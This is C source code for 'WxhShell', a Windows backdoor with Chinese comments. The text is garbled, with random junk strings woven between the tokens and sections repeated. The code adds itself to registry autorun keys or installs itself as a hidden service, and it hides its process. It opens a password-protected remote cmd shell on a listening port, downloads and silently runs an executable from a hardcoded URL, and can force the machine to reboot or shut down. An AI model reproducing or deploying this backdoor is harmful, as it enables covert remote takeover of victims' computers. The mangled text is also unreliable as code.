PTC5H DWORD BasePriority; @*OZx 9 ULONG UniqueProcessId; IHe/xQ@ ULONG InheritedFromUniqueProcessId; $8;R[SU6Y } PROCESS_BASIC_INFORMATION; u2[iM d rQk<90Ar PROCNTQSIP NtQueryInformationProcess; K!:azP,bZ ?6Jx@ Sh static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NYE`Kin- static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hHN'w73z X<i^qoV HANDLE hProcess; 7{e% u# PROCESS_BASIC_INFORMATION pbi; !>v2i" {wO3<9 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L0*nm.1X if(NULL == hInst ) return 0; u\ #"L a&tSj35*6 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]4~lYuI4 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K#EvFs`s; NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p!>oo1& vtw6FX_B if (!NtQueryInformationProcess) return 0; #OIcLEn% aEM %R<e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s}j{#xT if(!hProcess) return 0; A9f)tqbc uxW~uEh if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v 0
}@ Ey_" ~OB CloseHandle(hProcess); ZYI{i?Te# /]=C{)8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wp#'nO if(hProcess==NULL) return 0; 9S-Z&2L PUF/#ck HMODULE hMod; _&N2'hG=sn char procName[255]; TcIcS]w% unsigned long cbNeeded; =4[v3Qx \n{qsf: if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {. 2k6_1[ <Fi%iA CloseHandle(hProcess); @W vatD
V >=RmGS if(strstr(procName,"services")) return 1; // 以服务启动 CsTF 9;_sC return 0; // 注册表启动 1nQWW9i } \Kl+ 5%L %ZNI:Uh // 主模块 XM1WfjE\ int StartWxhshell(LPSTR lpCmdLine) Z3{>yYR+ { dls
ss\c^M SOCKET wsl; LO
< BOOL val=TRUE; zhpx"{_ int port=0; *RXbc~
H struct sockaddr_in door; L!rw[x vY%d if(wscfg.ws_autoins) Install(); 9{-EJ) vWRju*Z& port=atoi(lpCmdLine); K%"5ImM `wus\&!W if(port<=0) port=wscfg.ws_port; 3D`YZ#M l%?T2Fm3> WSADATA data; 3|1ilP if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w9NHk~LHKF ux_Mrh' if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?**+e%$$ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eln&]d; door.sin_family = AF_INET; 7]9
a< door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]<H&+ &! door.sin_port = htons(port); IqC]! H0 }D7I3]2> if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b+@JY2dvj closesocket(wsl); Gs9:6 return 1; odPL{XFj } %K\?E98M zoOaVV&1 if(listen(wsl,2) == INVALID_SOCKET) { > ?6&c closesocket(wsl); !OBEM1~
1 return 1; x*?x=^I{ } ,17hGKM Wxhshell(wsl); >+]_5qc WSACleanup(); wW#}:59} )+}]+xRWGj return 0; oN{Z+T : O) WCW<p } XLAN Np%E FP;Ccl"s // 以NT服务方式启动 @r#v[I VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .Jt[(; { $/.zm;D DWORD status = 0; et,f_fd7v DWORD specificError = 0xfffffff; sYjpU O>^C4c! serviceStatus.dwServiceType = SERVICE_WIN32; P5
K' p5}# serviceStatus.dwCurrentState = SERVICE_START_PENDING; *tgnYa[l serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q>mE<
(-M serviceStatus.dwWin32ExitCode = 0;
0BH_'ZW serviceStatus.dwServiceSpecificExitCode = 0; KcK>%% serviceStatus.dwCheckPoint = 0; } w
5l serviceStatus.dwWaitHint = 0; t: #6sF Ttxqf:OMf hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GFel(cx:K if (hServiceStatusHandle==0) return; PNaay:a| BO~PT,QrF status = GetLastError(); EX?MA6U if (status!=NO_ERROR) ^1Zeb$Nw' { } p&&_? serviceStatus.dwCurrentState = SERVICE_STOPPED; 4W3\P9p= serviceStatus.dwCheckPoint = 0; YN`H
BFH serviceStatus.dwWaitHint = 0; A-4h serviceStatus.dwWin32ExitCode = status; J.ck~;3 serviceStatus.dwServiceSpecificExitCode = specificError; %!du,2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6ek;8dL return;
e'0{?B } Md0sK EmODBTu+ serviceStatus.dwCurrentState = SERVICE_RUNNING; hjIT_{mk serviceStatus.dwCheckPoint = 0; i?fOK_d serviceStatus.dwWaitHint = 0; vgUb{D if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Aj2OkD } ~ECD`N<YF r6&54f // 处理NT服务事件,比如:启动、停止 ,Fi>p0bz VOID WINAPI NTServiceHandler(DWORD fdwControl) HYD"#m'TkB { o(S{VGi, switch(fdwControl) hO';{Nl/$ { 9(6I<]# case SERVICE_CONTROL_STOP: >2,Gy-&"0 serviceStatus.dwWin32ExitCode = 0; }; f#^gz' serviceStatus.dwCurrentState = SERVICE_STOPPED; 2I&o69x? serviceStatus.dwCheckPoint = 0; >y[oP!-|P serviceStatus.dwWaitHint = 0; 9'{}!-(xR { l2l(_$@3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6xZ=^;H } tQH+)* return; %*&UJpbA case SERVICE_CONTROL_PAUSE: o>7ts&rk serviceStatus.dwCurrentState = SERVICE_PAUSED; i K12pw break; Q5FM8Q case SERVICE_CONTROL_CONTINUE: #m[|2R serviceStatus.dwCurrentState = SERVICE_RUNNING; gFHTG break; ,4ei2`wV case SERVICE_CONTROL_INTERROGATE: sO.`x* break; J41G&$j( }; 9nH?l{As SetServiceStatus(hServiceStatusHandle, &serviceStatus); GKoK7qH\J } (rkU)Q wc!onZX5 // 标准应用程序主函数 L+'Fs int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {W]=~*w { ]79:yMD~ba ox%9Ph // 获取操作系统版本 N_pJk2E OsIsNt=GetOsVer(); D<Zp!J1o GetModuleFileName(NULL,ExeFile,MAX_PATH); oiX+l5`pz tl><"6AIP // 从命令行安装 Clh!gpB c if(strpbrk(lpCmdLine,"iI")) Install(); 1[jb)j1 (y M^ // 下载执行文件 BM(]QUxRd if(wscfg.ws_downexe) { 7c~u=U" if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +reor@h WinExec(wscfg.ws_filenam,SW_HIDE); 5!EJxP9 } v@wb"jdFi$ [+OnV& if(!OsIsNt) { D<V~f B // 如果时win9x,隐藏进程并且设置为注册表启动 kI:}| _ HideProc(); qQ0cJIISb\ StartWxhshell(lpCmdLine); \mV'mZ9> } |]aE<`D else KyzFnVH3) if(StartFromService()) ~_s{0g]B // 以服务方式启动 HW7; {QMg StartServiceCtrlDispatcher(DispatchTable); *X4PM\ck else ] Puy!Q // 普通方式启动 bd<m%OM"" StartWxhshell(lpCmdLine); &NSY9'N, Fr%d}g return 0; #(1j#\ } b*FC\:\ ^;Sy. W&` z^GDJddG vmLxkjUm# =========================================== H6&J;yT} fm^@i;D
z8[yt282 2KQoy; cZ<A0 6<' 21 " YSj+\Z$( P1NJ^rX #include <stdio.h> .58qL-iC #include <string.h> 4WE6fJ2X #include <windows.h> gt/zpiKmV #include <winsock2.h> ;L,mBQB?0b #include <winsvc.h> fPrLM' #include <urlmon.h> &`fhEN {&"L~>/o #pragma comment (lib, "Ws2_32.lib") (I@rLvZr{ #pragma comment (lib, "urlmon.lib") tOOchu?= iC*F #define MAX_USER 100 // 最大客户端连接数 [xT:]Pw} #define BUF_SOCK 200 // sock buffer EZYBeqv #define KEY_BUFF 255 // 输入 buffer 9
Rx
s 8o/}}=m$ #define REBOOT 0 // 重启 5r?m&28X #define SHUTDOWN 1 // 关机 NuYkz"O] 1]}#)- #define DEF_PORT 5000 // 监听端口 CEC
nq3 P<Zh XN' #define REG_LEN 16 // 注册表键长度 rvyrxw%[ #define SVC_LEN 80 // NT服务名长度 NNF>Xa`9, e{KByFl // 从dll定义API )LdyC`S\c typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .-JCwnP typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q//,4>JKf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &<+ A((/i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3mSXWl^? &EM\CjKv" // wxhshell配置信息 (D
9Su^:1 struct WSCFG { @rHK(25+d int ws_port; // 监听端口 YhRWz=l char ws_passstr[REG_LEN]; // 口令 /5#rADOS int ws_autoins; // 安装标记, 1=yes 0=no HBY.DCN[Z char ws_regname[REG_LEN]; // 注册表键名 2 QNNp:`6 char ws_svcname[REG_LEN]; // 服务名 i@][rdhT char ws_svcdisp[SVC_LEN]; // 服务显示名 -kS~xVS| char ws_svcdesc[SVC_LEN]; // 服务描述信息 T2D<UhP char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w ~ dk#= int ws_downexe; // 下载执行标记, 1=yes 0=no .)+hH y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z lHDi!T char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0Hs|*:Y1D 4:7V./" 9 }; iL=
m{ [lk'xzE // default Wxhshell configuration "7v-`i struct WSCFG wscfg={DEF_PORT, k@ K7yK "xuhuanlingzhe", KE1ao9H8wR 1, zh$}~RG[ "Wxhshell", l?iSxqdT "Wxhshell", \@>b;4Fb+N "WxhShell Service", 7 t?* "Wrsky Windows CmdShell Service", i_kE^SSgm "Please Input Your Password: ", 0I{gJSK., 1, xP=/N!,# "http://www.wrsky.com/wxhshell.exe", lKkN_ (/j "Wxhshell.exe" S2>c#BQ }; s!9dQ. 9
C{;h // 消息定义模块 !;Jmg char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zd_HxYrN char *msg_ws_prompt="\n\r? for help\n\r#>"; *0_yT$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; | ea~'N1 char *msg_ws_ext="\n\rExit."; 7?v#'Ies char *msg_ws_end="\n\rQuit."; 2qi'g:qe char *msg_ws_boot="\n\rReboot..."; /cK%n4l.y char *msg_ws_poff="\n\rShutdown..."; SSBg?H 'T char *msg_ws_down="\n\rSave to "; JxjI]SF02 "v}pdUW char *msg_ws_err="\n\rErr!"; cV-1?h63 char *msg_ws_ok="\n\rOK!"; f/kI|Z \*\R1_+ char ExeFile[MAX_PATH]; Gd+ET int nUser = 0; cE iu)2*e HANDLE handles[MAX_USER]; SI_iI 71 int OsIsNt; v_S4hz6w\ zKFp5H1!%+ SERVICE_STATUS serviceStatus; fZKt%m SERVICE_STATUS_HANDLE hServiceStatusHandle; kGkA:g: Y:ldR // 函数声明 rtQHWRUn int Install(void); a{[+<8=@1 int Uninstall(void); .P$IJUYO int DownloadFile(char *sURL, SOCKET wsh); I5AO?BzJ int Boot(int flag); T<-=nX void HideProc(void); y[@\j9Hq int GetOsVer(void); 93IFcmO.H@ int Wxhshell(SOCKET wsl); "7d-z<^n void TalkWithClient(void *cs); z^nvMTC int CmdShell(SOCKET sock); <?0~1o\Ur int StartFromService(void); j%V["?) int StartWxhshell(LPSTR lpCmdLine); )c/Fasfg[P 8wH.et25k VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NDO\B,7 VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?8,%LIQ? rC_*sx
r^ // 数据结构和表定义 a4gi,pz$] SERVICE_TABLE_ENTRY DispatchTable[] = pbHsR^ { to"'By{9 {wscfg.ws_svcname, NTServiceMain}, P%Ay3cR+E {NULL, NULL} i77GE }; Q>qFM9Z CJaKnz // 自我安装 3ew8m}A{O int Install(void) fU2qrcVu { ?@6/Alk char svExeFile[MAX_PATH]; |DF9cd^ HKEY key; -V %gVI[ strcpy(svExeFile,ExeFile); wzjU,Mwe ftk%EYT; // 如果是win9x系统,修改注册表设为自启动 V2|3i}V" if(!OsIsNt) { 4*Z6}" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uqyB5V0gh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "k$JP RegCloseKey(key); qJR!$? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iO1nwl !# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aH_6s4+: RegCloseKey(key); hbOnlj4 return 0; rAdacnZV } Gi^Ha=?J% } _ia! mT< } n
uQM^2 else { :Zw@yt MVv1.6c7Y // 如果是NT以上系统,安装为系统服务 7@%'wy&A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Aw!gSf) if (schSCManager!=0) ^]p { /DS?}I.*] SC_HANDLE schService = CreateService ps:f=6m2 ( P`1EPF schSCManager, _DPOyR2 wscfg.ws_svcname, FrTg4 wscfg.ws_svcdisp, 0m9ZQ
O SERVICE_ALL_ACCESS, bzmr"/#D3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _'x8M SERVICE_AUTO_START, ^b?2N/m@ SERVICE_ERROR_NORMAL, 24\gbv< svExeFile, [IM%b~j(^ NULL, O,V9R
rG NULL, #6S75{rnW" NULL, MN=
sIP,zk NULL, JbQZ!+ NULL ^%oUmwP<$ ); b 1^n KB if (schService!=0) 8_\W/I!7b { MN;/*t CloseServiceHandle(schService); cJ}QXuuUv CloseServiceHandle(schSCManager); oholt/gb+0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1@sM1WMX strcat(svExeFile,wscfg.ws_svcname); J_#R 87 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #$'"cfRxc RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j;P+_Hfe/E RegCloseKey(key); s0LA^2U return 0; \X}8q } S9Y[4*// } YwT-T,oD CloseServiceHandle(schSCManager); _EYB
8e } FJM;X-UOY } y)J(K*x/$ wod/&!)]A return 1; KAA3iA@>+ } ^Ip3A 3=4SGt5m // 自我卸载 1|y$~R.H int Uninstall(void) yDd[e]zS` { 8LM#WIm? HKEY key; uVU`tDzd: udqge?Tz if(!OsIsNt) { aSnp/g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CUmH,`hu RegDeleteValue(key,wscfg.ws_regname); 89eq[ |G_ RegCloseKey(key); $G?(OWI}l` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %|Hp Bs#' RegDeleteValue(key,wscfg.ws_regname); ~\_T5/I% RegCloseKey(key); .{rbw9 return 0; H"YL
k } j64 4V|z } $@[)nvV\ } } ~enEZ else { %JoxYy- Xza4iV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,a(O`##Bn if (schSCManager!=0) jq oPLbxT { m3
IP7h' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !QC<n/ if (schService!=0) u35q,u=I { 0o/B{|rv if(DeleteService(schService)!=0) { [QEwK|!L CloseServiceHandle(schService); EnCU4CU` CloseServiceHandle(schSCManager); t3F?>G#y return 0; CI^|k/ } B\<ydN CloseServiceHandle(schService); a?<?5 } @!H
'+c CloseServiceHandle(schSCManager); ;~tsF.= } xUj2]Q>R+ } ?eWJa yz)ESQ~va return 1; i!~>\r\6\ } lCFU1 GHH _nX%#/{ // 从指定url下载文件 .ewZV9P)t int DownloadFile(char *sURL, SOCKET wsh) $pu3Ig$^ { 1mUTtYU HRESULT hr; i,OKfXp char seps[]= "/"; x0x $ 9 char *token; kEAhTh&g* char *file; zA{8C];~ char myURL[MAX_PATH]; @\!!t{y char myFILE[MAX_PATH]; F.KrZ3%4iB {!K;`I[]v strcpy(myURL,sURL); q) _r3 token=strtok(myURL,seps); O)5#Fcp( while(token!=NULL) ]gP8?s| { UH40~LxIma file=token; c^-YcGwa token=strtok(NULL,seps); {E~l>Z88 } syFI$rf
_ )fCMITq.| GetCurrentDirectory(MAX_PATH,myFILE); f'_S1\ strcat(myFILE, "\\"); F$ {4X /9n strcat(myFILE, file); SI_?~Pf3k send(wsh,myFILE,strlen(myFILE),0); nVTM3Cz send(wsh,"...",3,0); V4?Oc2mS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,8`O7V{W if(hr==S_OK) #:W%,$9\P return 0; |Y{PO&-?r else B! `\L! return 1; +!$dO'0nt, @zs1>\J7 } `E;)`J8b AQn[* // 系统电源模块 22IYrk int Boot(int flag) %MNk4UsV { ~^7 HANDLE hToken; ((9YG TOKEN_PRIVILEGES tkp; [tN` :}? Ut;'Gk if(OsIsNt) { z@`@I OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U$09p;~$Ww LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3Q$c'C tkp.PrivilegeCount = 1; 0.(Ml5&e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <,-,? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7kM4Ei if(flag==REBOOT) { Qi|?d7k0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k!c7a\">{ return 0; Gbx";Y8 }
V.fp/jhj else { @ay|]w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #fzw WP return 0; 7<4xtK`+b } [iXi\Ex } /fC\K_<N else { MBv/ if(flag==REBOOT) { LO}z)j~W if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4]u,x`6C return 0; w=$'Lt! } UGf6i"F else { N4+g(" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L`pY27| return 0; M%;"c?g } TRCI\ } HYFN?~G #}j]XWy return 1; Av[Ud
*~ } H CuK 2@5A&b // win9x进程隐藏模块 ywe5tU void HideProc(void) 2moIgJ { omT(3)TP My0!=4Any HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vhNohCt if ( hKernel != NULL ) W%H]Uyt { iGQ n/Xdo pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BWohMT ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {)uU6z
{' FreeLibrary(hKernel); i)8g CDc } #\0TxG5'QA d{l{P]nr return; -UTV:^ } "YD.=s 6,3}/hgWJ$ // 获取操作系统版本 P_mi)@ int GetOsVer(void) T#Fn:6_= { Yim#Pq&_ OSVERSIONINFO winfo; "p`o]$Wv winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fxOE]d8v GetVersionEx(&winfo); :=Nb=&lst if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N@}gLBf return 1; [}@n*D$ else 7NeDs$ return 0; cL
ae=N } M!-q}5' ; %-k(&T3& // 客户端句柄模块 O68b zi] int Wxhshell(SOCKET wsl) "TUPYFK9 { |C|:i@c
H SOCKET wsh; 4^`PiRGt struct sockaddr_in client; +{'lZa DWORD myID; v/ eB,p Jtext%"eNg while(nUser<MAX_USER) {DSyV: { 6G$/NW=L int nSize=sizeof(client); t+jIHo wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hO%Y{Gg if(wsh==INVALID_SOCKET) return 1; we
}#Ru* <TL])@da handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $>|?k$(x if(handles[nUser]==0) (%Ng'~J\| closesocket(wsh); {GAsFnZk else $>EqH?EQ nUser++; nQ!N}5[z' } |iAEDZn
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iq,ah"L E}Ljo return 0; *-{Omqw } B U'Ki \ &bn*p.=G // 关闭 socket QaIi.*tic void CloseIt(SOCKET wsh) >Sh0dFqeT { ;r%<2( closesocket(wsh); FF8WTuzB+ nUser--; hJ<:-u+yk} ExitThread(0); R !jhwY$ } _ \_3s k:`a+LiZ // 客户端请求句柄 8u/3?Kc void TalkWithClient(void *cs) LPb]mC6# { #&}%70R) m\l51}xz SOCKET wsh=(SOCKET)cs; %C6|-?TAd char pwd[SVC_LEN]; \f6lT3"VN char cmd[KEY_BUFF]; i'U,S`L6> char chr[1]; t`)
'LT int i,j; PnI)n=(\ zI1(F67d` while (nUser < MAX_USER) { Z4=_k{* N'I?fWN!;R if(wscfg.ws_passstr) { PQ6T|> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r$94J'_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }{P&idkv //ZeroMemory(pwd,KEY_BUFF); <.;@ksCPW{ i=0; vM5k4%D while(i<SVC_LEN) { (H'_KPK GOUY_&}tL // 设置超时 ?Ozk^#H[ fd_set FdRead; i:MlD5 F struct timeval TimeOut; lkI8{ FD_ZERO(&FdRead); [^h/(a` FD_SET(wsh,&FdRead); "tqS|ok. TimeOut.tv_sec=8; unx;m$-c TimeOut.tv_usec=0; 3S;>ki4(0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); muW`pm if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bi'I18< 8[vl3C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I:r($m pwd=chr[0]; 9NJ=~Ub- if(chr[0]==0xd || chr[0]==0xa) { 6(\q< fx pwd=0; q]2}UuM|U break; Sr4dY`V*:z } Uyz;U34 oI i++; _HSTiJVr } 8 h55$j /%2:+w // 如果是非法用户,关闭 socket \Sz4Gr0g3Z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V22q*/iV } Uh<H*o6e 9 dw|-=~ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DMy4"2
o send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pE9aT5
L #p11D=
@[ while(1) { u40b?
n.
oVKsic? ZeroMemory(cmd,KEY_BUFF); ]9bh+ -U/I'RDLEz // 自动支持客户端 telnet标准 $}^Rsv( j=0; m0dFA<5- while(j<KEY_BUFF) { gt].rwo" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :
OSmr cmd[j]=chr[0]; Dx9$H++6$X if(chr[0]==0xa || chr[0]==0xd) { | 7t=\ cmd[j]=0; )Mm;9UA break; sa\|"IkD2 } Enq6K1@%G j++; Gnuo-8lb } u *#-7 GQEI f$ // 下载文件 A>rW Go.{E if(strstr(cmd,"http://")) { EZgxSQaPH send(wsh,msg_ws_down,strlen(msg_ws_down),0); %[+a[/ if(DownloadFile(cmd,wsh)) 4GmSG,] send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4]|9!=\
else ~ wJ3AqNC? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wj5qQ]WC } X#f+m) S else { RE(=! 8lGR
f4A4 switch(cmd[0]) { $?CBX27AV qr<-eJf // 帮助 UH1S_:6 case '?': { ;r0|_mnf send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0|K/=dh5+ break; 4EaSg# } .O@q5G // 安装 !#_h2a case 'i': { o|p;6 if(Install()) KV)Hywl` send(wsh,msg_ws_err,strlen(msg_ws_err),0); d~P<M3#> else i_jax)m% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #NVF\ break; =: v>< } VDb,$i.Z0 // 卸载 ~|0F?~eR7 case 'r': { T9U2j-lA? if(Uninstall()) E9Qd>o send(wsh,msg_ws_err,strlen(msg_ws_err),0); D:RBq\8 else /z.7:<gZ( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {8*d;[X50 break; [EW$7 se~ } )$Dcrrj // 显示 wxhshell 所在路径 %Mb(
c+7 case 'p': { .5#tB*H char svExeFile[MAX_PATH]; |R
&3/bEr strcpy(svExeFile,"\n\r"); uZ=UBir strcat(svExeFile,ExeFile); b0zxT9 send(wsh,svExeFile,strlen(svExeFile),0); U||w6:W5 break; 7am/X. } 6|"!sW`%N // 重启 J4*:.8Ki case 'b': { w50Bq&/jX send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fW4cHB9| if(Boot(REBOOT)) I]WeZ,E send(wsh,msg_ws_err,strlen(msg_ws_err),0); *]E7}bqb else { #<PA-
y closesocket(wsh); 35N/v G0 ExitThread(0); 7KSGG1ts } n'&`9M['%d break; W2W2WyPk } bVAgul=__ // 关机 %t5BB$y case 'd': { #ejw@bd send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jv4D^>yj[ if(Boot(SHUTDOWN)) :+%h send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5shu76 else { _ \y0 mc4 closesocket(wsh); !>Qc2&ZV ExitThread(0); vxilQp } L->f=
8L break; 6E\\`FE4y } _c(C;s3o // 获取shell N|Cy!E=d case 's': { #@\NdW\ CmdShell(wsh); afP&+ 5t@O closesocket(wsh); UmD-7Fd ExitThread(0); %&=(,;d break; rJc)<OZjT } G=bP<XF // 退出 7)(`
case 'x': { V^$rH< send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v(Zi;?c CloseIt(wsh); {i%xs#0h break; "aCb;2Rs } vX0I^8. // 离开 cLyuCaH>c case 'q': { ]htZ!; 8J send(wsh,msg_ws_end,strlen(msg_ws_end),0); >%p
m"+h{ closesocket(wsh); V.gY1
WSACleanup();
\#+2;L exit(1); >*t>U8 break; <K=B(-~ } -C'X4C+ } c%LB|(@j{ } g<T`F @aV~.!! // 提示信息 Vg,>7?]6h if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q
V
UUuyF } wq_oh*"
} | 8L`osg %d[xr h return; rX>y>{w~ } K%TKQ<R| #L IsL // shell模块句柄 k'I_,Z<, int CmdShell(SOCKET sock) /E4 }d=5L { Z/05 wB STARTUPINFO si; 3Gd&=IJ ZeroMemory(&si,sizeof(si)); R,5$ 0_]|+ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T;[c<gc/ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; , w'$T) PROCESS_INFORMATION ProcessInfo; ~h^}W$pO char cmdline[]="cmd"; ?.Yw%{?TG CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;`PkmAg return 0; ,nChwEn } 7+!7]'V CpqSn/ // 自身启动模式 $-9@ /%Y int StartFromService(void) S.F=$z.% { (jE:Q2" typedef struct 5f*'wA { vsz^B
:j DWORD ExitStatus; b;{"lJ:+Z DWORD PebBaseAddress; zI:5I @ X DWORD AffinityMask; d,rEEc Y DWORD BasePriority; *JC{G^|Y ULONG UniqueProcessId; C.B}Py+
ULONG InheritedFromUniqueProcessId; 'GzhZ`E6 } PROCESS_BASIC_INFORMATION; L,A-G"z0Z 6L> "m0 PROCNTQSIP NtQueryInformationProcess; 7@cvy?
v{ 6p=x gk-q static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !4,xQ^
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )(!Z90@ 7CL@iL Tq HANDLE hProcess; +j: Ld( PROCESS_BASIC_INFORMATION pbi; _t;VE06Xjs V =aoB
Z HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y7V&zF{ if(NULL == hInst ) return 0; 1gy}E=noP cYwC,\uF g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gL}Y5U+s g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q.2nUT` NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,Ho.O7H i[\u-TF if (!NtQueryInformationProcess) return 0; S@G{|. )2 U8$dG)PhA hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kmr
